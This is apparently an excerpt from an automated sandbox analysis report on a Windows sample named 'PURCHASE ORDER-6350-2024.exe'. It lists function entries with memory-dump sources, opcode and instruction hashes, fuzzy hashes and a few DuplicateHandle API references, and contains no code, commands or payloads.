Instruction Fuzzy Hash: 60016930E1020E8FDB44EB68CC026AEBBB0EF49344F048129D515FB390DBB8A655DB90

Function 06E1BF2F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54365cf2692b7acca1a40b01c01889b01eb9f73aae8a524fa97f3d936c9b3e70
Instruction ID: c17f9810e21a6d574def649557e94794194f8087a256e9737bbf62f3859d8ee8
Opcode Fuzzy Hash: 54365cf2692b7acca1a40b01c01889b01eb9f73aae8a524fa97f3d936c9b3e70
Instruction Fuzzy Hash: AE11C238A18218DFDB90DB94D9C49ECB7BAFB49310F24A181E419AB215D734A984DFA4

Function 06E1C548 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ffbdb490dcebed40103d8f50049767a5331d53b0ea6c03bce4ab9397aa17b7
Instruction ID: 62f7e21513574847b95a48bb8e2af5ede540668a385d39050b15c41337c11da7
Opcode Fuzzy Hash: 91ffbdb490dcebed40103d8f50049767a5331d53b0ea6c03bce4ab9397aa17b7
Instruction Fuzzy Hash: A411A2B4D05218CFCB48CFAAC9405EDBBF6BB8D301B249069D509EB355D7349941DF90

Function 06E135F3 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e845cb73bcb595b6845f5474f9b669bd55c4604cc2a0efcfad6bd899a3e228d
Instruction ID: 0185cbc6005a16bc6ba2b1de2bd1e875db0153cf0a66d358f24734297bdb961a
Opcode Fuzzy Hash: 2e845cb73bcb595b6845f5474f9b669bd55c4604cc2a0efcfad6bd899a3e228d
Instruction Fuzzy Hash: B4014BB2D1425A9FCF11CFA8D851AEEBBB8EF09310F14413AE948B3241D6346A14DBA0

Function 06E1C960 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19db4e47f43e72318c6886f01461561ad4e7e2be6db65915d5ed037ed76c5656
Instruction ID: 48621bfec53661156ee2d9305882fc01a0822e191d681e5bc80caec4aae6e46e
Opcode Fuzzy Hash: 19db4e47f43e72318c6886f01461561ad4e7e2be6db65915d5ed037ed76c5656
Instruction Fuzzy Hash: A4011634A44208DFDB44DFA9D598AACBBF5EB49605F249094D5099B351C734DE40EB80

Function 06E13680 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f9f1692137bea18f4ea210a08787fe74ff113276fa5ec445102455ab46c0752
Instruction ID: 56d4b0ebbcc360e98d704cd96ecb6cae7942bf53009138950fcbf441c26aec87
Opcode Fuzzy Hash: 8f9f1692137bea18f4ea210a08787fe74ff113276fa5ec445102455ab46c0752
Instruction Fuzzy Hash: 61018131A1072E8BCF15EB68D8144DDB7B5FF88310F408525D95677244EF746A198BE1

Function 06E13670 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88d984de5af7a8e520e5948333212233c87fb2e4c445feb9e76f3f26f7a1ce8
Instruction ID: 2a29dded6b5384a52e79cdf320eeb1c511566f3f9113cd18be8af1b2eb5425ad
Opcode Fuzzy Hash: d88d984de5af7a8e520e5948333212233c87fb2e4c445feb9e76f3f26f7a1ce8
Instruction Fuzzy Hash: 39F02231A043188BCF16AB68C8150DCB7B1EF4A310B01C5A6CDC1BB240FF305A18C3E1

Function 06E14649 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d4703fb220a14fe4061a5c43499fb4510ee4220c1bb913cf1d228ba36dc201
Instruction ID: 0a640baf94c7b8d9c5c8d52a122931d88c61b9f59cab91e20f51b591d0a8ef87
Opcode Fuzzy Hash: 51d4703fb220a14fe4061a5c43499fb4510ee4220c1bb913cf1d228ba36dc201
Instruction Fuzzy Hash: 5DF09636300304AFC3556FA9E844E567BA9EFD5721B14843EE595CB380DA31C945DB60

Function 06E1D810 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8f8c2d2385ded8ba38ee11ac680cf4d3b696cc67d3b958dd43dfb2671dc8aa2
Instruction ID: 7e4c353547c98377ed88cb386412cc83d567f510c6baec98bbddefc6f66600e0
Opcode Fuzzy Hash: b8f8c2d2385ded8ba38ee11ac680cf4d3b696cc67d3b958dd43dfb2671dc8aa2
Instruction Fuzzy Hash: EE01A974D012499FCB40DFA8C940AAEBBF5BF48301F50819AE954E7341D7349A40DB91

Function 0100D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047466175.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd3666c20cab77f873bd2530f3f8f5cc354ac43bb0820834903b4b4e537a644
Instruction ID: dba1131e9494b5a4b3293edf1fd034f6463698d224f760fd2fb7e3a10e5d00ea
Opcode Fuzzy Hash: 9fd3666c20cab77f873bd2530f3f8f5cc354ac43bb0820834903b4b4e537a644
Instruction Fuzzy Hash: 43F062714043849AF7118E5AD888B66FFD8EF85634F18C49AED4C5A286D3799844CBB1

Function 06E136F0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e88f87f41c0d9cef3998a32386148fc9d107ea752373b1112bbcafe3621807
Instruction ID: f536a7b35d14e39cb69f246d306308d91a294cffa584275a19dffcfcab44bd77
Opcode Fuzzy Hash: 22e88f87f41c0d9cef3998a32386148fc9d107ea752373b1112bbcafe3621807
Instruction Fuzzy Hash: 2EF0E235B04340CFC724AF2EA98449ABBAAFFDA710714417FD545DB260EF31D805C2A1

Function 06E1DFBF Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dcc9b947ab10bca7c0bc11f60ed6cf4992d9d2dfa77381d049ad66d87130d85
Instruction ID: 9e51dca8f2e70648474d6862f9641cd01155d09e657f48d0958632598db69a57
Opcode Fuzzy Hash: 7dcc9b947ab10bca7c0bc11f60ed6cf4992d9d2dfa77381d049ad66d87130d85
Instruction Fuzzy Hash: 49F059309093448FE7C19F69D804BE9BBBF9F89300F005062E9049B366DE340A4EC7A1

Function 06E1F45F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef72d6b3508c052b6d5ba745e047ffd1d0d566b2db89d73149a4355fe6d4464
Instruction ID: 023e3ed4ef2837de5378c4d37e78fb12950ec420f207d69eae84627af8ed2a3b
Opcode Fuzzy Hash: 3ef72d6b3508c052b6d5ba745e047ffd1d0d566b2db89d73149a4355fe6d4464
Instruction Fuzzy Hash: A0F06734D0A38CAFCB26EFA9E91468DBFB5AF49300F0080AAE95497381D6745B54DB91

Function 06E1C0AD Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 404130d011e5745c7e45d4692bdc2648e8a3c86450db53b649c41ed81800bcd5
Instruction ID: a05d586501aada5f9174fb6bad59ddd134962a13aab2abf4d0e54602938774bf
Opcode Fuzzy Hash: 404130d011e5745c7e45d4692bdc2648e8a3c86450db53b649c41ed81800bcd5
Instruction Fuzzy Hash: 30016C78A00329DFCBA4CF64D980BA9BBB2BB09200F1051EAE949A7311D7319E80DF11

Function 06E1E1F2 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb98b3524974c40bd0df2aa98057763e871ce4d4265c9f6315d9a2d0182ee9b7
Instruction ID: 7829d40402bcd4c12328ba7eac62e65b967ed9456e8cd43da4c573dc9adc7dc9
Opcode Fuzzy Hash: bb98b3524974c40bd0df2aa98057763e871ce4d4265c9f6315d9a2d0182ee9b7
Instruction Fuzzy Hash: 9DF09074D04244CFDB40DF98D148AACBBF6FB08301F109526E9169F399D7349945CF00

Function 06E1CB1F Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b89a76cdea2530a00770632931de2b2ba279928ef288f0fcab235817594668e6
Instruction ID: 77ebb8c615673c6d6d4b7fbfb268a710c72a951242a672405e8d2f8f362d07a0
Opcode Fuzzy Hash: b89a76cdea2530a00770632931de2b2ba279928ef288f0fcab235817594668e6
Instruction Fuzzy Hash: 67F03975D51215DFD780DF79C846B8ABBF0EF08A00F219869D029EB310E77496028BD5

Function 06E1DFD0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6133e6cfbe6385d526bf488b4e805a4ce4dd6c4e044a6f0a9b809b9172ad9eaa
Instruction ID: 1e0022a557690a332a241340eed588a5219bf54c498580da0ea03638db958c5a
Opcode Fuzzy Hash: 6133e6cfbe6385d526bf488b4e805a4ce4dd6c4e044a6f0a9b809b9172ad9eaa
Instruction Fuzzy Hash: 4EF0E5304042048FEB90DB6ED804BE8BBBEAF8C300F00A031A5059A369DF74554AD7A1

Function 06E1F470 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f93af53303473c4407b9270ead42a57535151d99182f1b55fdd154cb24c8b44
Instruction ID: 8a0db69a9d880a3a36a4367e381b8fcc7248079ae85d162c11e8857f5f29dd93
Opcode Fuzzy Hash: 6f93af53303473c4407b9270ead42a57535151d99182f1b55fdd154cb24c8b44
Instruction Fuzzy Hash: F4F03978E0020CEFCB55EFA9D50868DBBF1FB48301F00C0A9E918A7340DA745A50EF91

Function 06E1E52D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50576b5e05469550061cb1167aaa6e4cfad2b9e86d27c56d89d3458a6f00d4c4
Instruction ID: 6685eb45e1e90dde312c11b65d832936163becac801fa96caaea0ab4182d75bf
Opcode Fuzzy Hash: 50576b5e05469550061cb1167aaa6e4cfad2b9e86d27c56d89d3458a6f00d4c4
Instruction Fuzzy Hash: 44F08C349053099FCB44DF98D5484ACBBFBFB48301B105126D64AAF368DB308901CF40

Function 06E1C381 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 126ae97125d3e9b55e8d2f2aa82ba56f95ad56a1678de16426162b50944afed6
Instruction ID: f6967619ba9c4534188bcc218be02747f8fb645893abf9f17a08a269c0e5f3d5
Opcode Fuzzy Hash: 126ae97125d3e9b55e8d2f2aa82ba56f95ad56a1678de16426162b50944afed6
Instruction Fuzzy Hash: BBE0CA70D00248CFEBA0EFE4D488B8CBBB2FB08304F205099D515AB688C7305980EF50

Function 06E1E339 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e5c9fc6404e604b65b939375dc18be9a9ba1632a2287689961e0d0c865467b0
Instruction ID: b4f2e0763a68ff4a488b1a012cd73d97552bbb5c2e40dad0eb2bbadcd253d1b2
Opcode Fuzzy Hash: 2e5c9fc6404e604b65b939375dc18be9a9ba1632a2287689961e0d0c865467b0
Instruction Fuzzy Hash: 85E04630A44209CFC744DF99E544AEC7BBAFB84300B01AA20A6069B729DBB0590A8B81

Function 06E1CB30 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e310682ba8797055142a49cae8ac1c753b99298ffaecaa4d262dd7ec73da4883
Instruction ID: 584dbc1aacd8ccd0bdab811006b09901c63ad2cb652d4ca9fe72f4bbcc717b79
Opcode Fuzzy Hash: e310682ba8797055142a49cae8ac1c753b99298ffaecaa4d262dd7ec73da4883
Instruction Fuzzy Hash: D4E0BFB0D40719DFD780DF79C545A5EBBF0BF08A00F218965D015E7215E77496048F95

Function 06E1E6F2 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bec0b9b3ec4a5bd4761d147fec6789af6362961b164be545389f95c3ed35ab7
Instruction ID: 53b2ed48178ed15bfe122844ae8ef742c97d72e83d4856c3ce25e30c827a8b40
Opcode Fuzzy Hash: 0bec0b9b3ec4a5bd4761d147fec6789af6362961b164be545389f95c3ed35ab7
Instruction Fuzzy Hash: 67E08C30805246CFD700DFA8D048A98FBF2FF04305B08E0A6E8098F2A6D3389A80EF40

Function 06E1A683 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9206e5c61d91013ef59d01a7373052af2f8962d1eebe2163b2b9439aa12cae6c
Instruction ID: 25722c19e8f2a3bd2b7536fd9cc39554d7477b9643a30f555f768794303198e7
Opcode Fuzzy Hash: 9206e5c61d91013ef59d01a7373052af2f8962d1eebe2163b2b9439aa12cae6c
Instruction Fuzzy Hash: 90D05230946248CFCB20CF18F940BECBB3AFB84220F0012E1D10C92219CB311E88CE80

Function 06E1A2D0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc5f43bd586e7888fcd03aa78bef46f3ed86417ccddebe03bb14a110e695e18
Instruction ID: 50c2abcc115bde72170ea22190b5cc0126e172dd81dece90bd51052557948bc0
Opcode Fuzzy Hash: 8bc5f43bd586e7888fcd03aa78bef46f3ed86417ccddebe03bb14a110e695e18
Instruction Fuzzy Hash: B2D0C93000A748CAC2219F59B5583AA77A5AF42309F6518A9AA880616287B655A4C656

Function 06E1C176 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5946103209f47d421a3c51cd4bd5d21ac16e9e6cbea1311b65de741282d521e
Instruction ID: 8c701c0e3f80b014d3a2e711ef2a2469040608c093cf70ef0d50c9961b5b5917
Opcode Fuzzy Hash: e5946103209f47d421a3c51cd4bd5d21ac16e9e6cbea1311b65de741282d521e
Instruction Fuzzy Hash: 31D05E3010C210DFC7406F60C4589A17776FF0A302B2011E1C90EAF216C736CC89DFA0

Function 06E1A260 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae994ddeef186b503b8a38c554c387d5d84b21ee90672c0b778ece9ec833497d
Instruction ID: 463b0e5004446eb593d6120c1c125167f78f3d45ed8a5f83c5024e5a3f441430
Opcode Fuzzy Hash: ae994ddeef186b503b8a38c554c387d5d84b21ee90672c0b778ece9ec833497d
Instruction Fuzzy Hash: 20C02B30043B048BC3142BF9F50C334377B6F1130BF401020E30D452218FB14110D6A1

Function 06E1565C Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1690ff328b7f244c483cf4d43883052450b72b7050bbbf95ced05f146b3fa260
Instruction ID: 28ca54dc32b3e3af0359da22441fec556e499d5e25fdec90f4eb91b016891fcf
Opcode Fuzzy Hash: 1690ff328b7f244c483cf4d43883052450b72b7050bbbf95ced05f146b3fa260
Instruction Fuzzy Hash: 9FB012765D5305E5B5846264CE50DAB9600FFB6B81F00DD153356A00508570C539F1BB

Non-executed Functions

Function 06E1E7C3 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e384084c0cbab6e9ec301d013bb4be3a27c962691c0bb19ded6c85cb07735e02
Instruction ID: f6874f141e7a53bdc21e1a465c78b420db9991402c135a78852798c7422483b1
Opcode Fuzzy Hash: e384084c0cbab6e9ec301d013bb4be3a27c962691c0bb19ded6c85cb07735e02
Instruction Fuzzy Hash: 63E12E74E002198FCB54DFA9C5809AEFBF2FF89305F248169E815AB356D731A941CFA1

Function 06E1F038 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b711a796cbd52d8134185a10bf0512d64eda61da4ffc61f8a9c0014875fac999
Instruction ID: cdf22cf5a27486eebead93fcba1c720edfb390d61cc658c48f41437f9722bcf9
Opcode Fuzzy Hash: b711a796cbd52d8134185a10bf0512d64eda61da4ffc61f8a9c0014875fac999
Instruction Fuzzy Hash: 41E11974E002598FCB14DFA9C5809AEFBF2FF89305F249169D414AB356DB31A942CFA1

Function 06E1EC00 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd3307cd00dc33a8a3cc2b946482ef4028951ca5202c7cd15269e9beb65f7f56
Instruction ID: fb94982ff1044331e3d0fdb013e2dbf05cc20e803168f36d7a675733020a063c
Opcode Fuzzy Hash: cd3307cd00dc33a8a3cc2b946482ef4028951ca5202c7cd15269e9beb65f7f56
Instruction Fuzzy Hash: 90E12E74E002598FDB14DFA9C5809AEFBF2FF89305F249159E814AB356D731A941CFA0

Function 010EF044 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52abf8aa3dc6982e11379938229b9d9744b0c0050687084e0918d57a857fbb42
Instruction ID: 74bce5fd2877f46a42d5ea6ed72203a22bb9b5cd4641e14b5e8773a0453cd122
Opcode Fuzzy Hash: 52abf8aa3dc6982e11379938229b9d9744b0c0050687084e0918d57a857fbb42
Instruction Fuzzy Hash: 86A18E36E0021A8FCF19DFB5C8485DEBBF2FF84300B1585AAE945AB265DB71E945CB40

Function 06E1EBFF Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5395dd388b2b23e39848a85cbfec80ab6fa9fcfafbf35bb92298eb09814436eb
Instruction ID: a1ef025ee0cd53d3fb7b64823aff767d4891361c97647e51b7cbde6f4e6fd070
Opcode Fuzzy Hash: 5395dd388b2b23e39848a85cbfec80ab6fa9fcfafbf35bb92298eb09814436eb
Instruction Fuzzy Hash: 6551EA74E012198BDB14DFA9C5805AEFBF2FF89305F248169D418AB356D7319A42CFA1

Analysis Process: PURCHASE ORDER-6350-2024.exePID: 1020, Parent PID: 5688COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	0

Executed Functions

Function 0136B697 Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0136B6D6,?,?,?,?,?), ref: 0136B797

Memory Dump Source

Source File: 00000006.00000002.3265773483.0000000001360000.00000040.00000800.00020000.00000000.sdmp, Offset: 01360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1360000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3acf2d23e084078974018570b169bdc8150d350acff65b6565d11a4c3bcb56c6
Instruction ID: b79421b9e12c9ebff79e361d0d060c07991e9ec4872d733da322d8ad53830338
Opcode Fuzzy Hash: 3acf2d23e084078974018570b169bdc8150d350acff65b6565d11a4c3bcb56c6
Instruction Fuzzy Hash: 2C419C76A002499FCB00CFA9D844ADEBFF5EF48324F28805AE914E7265C7399951DFA0

Function 0136B708 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0136B6D6,?,?,?,?,?), ref: 0136B797

Memory Dump Source

Source File: 00000006.00000002.3265773483.0000000001360000.00000040.00000800.00020000.00000000.sdmp, Offset: 01360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1360000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b34b70906160346834aa338766144cd0a2873a5ac6e8ba5b204e7fe511b4c1b4
Instruction ID: 647dddd5897dfc7276c15a8b5de14a3c5f42d7ac91c4858d278e58cab92a83c5
Opcode Fuzzy Hash: b34b70906160346834aa338766144cd0a2873a5ac6e8ba5b204e7fe511b4c1b4
Instruction Fuzzy Hash: F821C3B59002489FDB10CF9AD984ADEFFF8FB48314F14841AE914A7214D378A944CFA4

Function 0136B27C Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0136B6D6,?,?,?,?,?), ref: 0136B797

Memory Dump Source

Source File: 00000006.00000002.3265773483.0000000001360000.00000040.00000800.00020000.00000000.sdmp, Offset: 01360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1360000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: dadfff8d5d8a1e985f3ef6b7afe2631d9f87619107b7a45c5ea8deeb6c40f8ff
Instruction ID: a4e7fcda55bb134094630832b2ff57427b02fd73ad645876c0315680cb162fe4
Opcode Fuzzy Hash: dadfff8d5d8a1e985f3ef6b7afe2631d9f87619107b7a45c5ea8deeb6c40f8ff
Instruction Fuzzy Hash: EA21D2B59002089FDB10CFAAD584AEEFBF8FF48310F14841AE918A7310D379A954CFA4

Function 06723B71 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

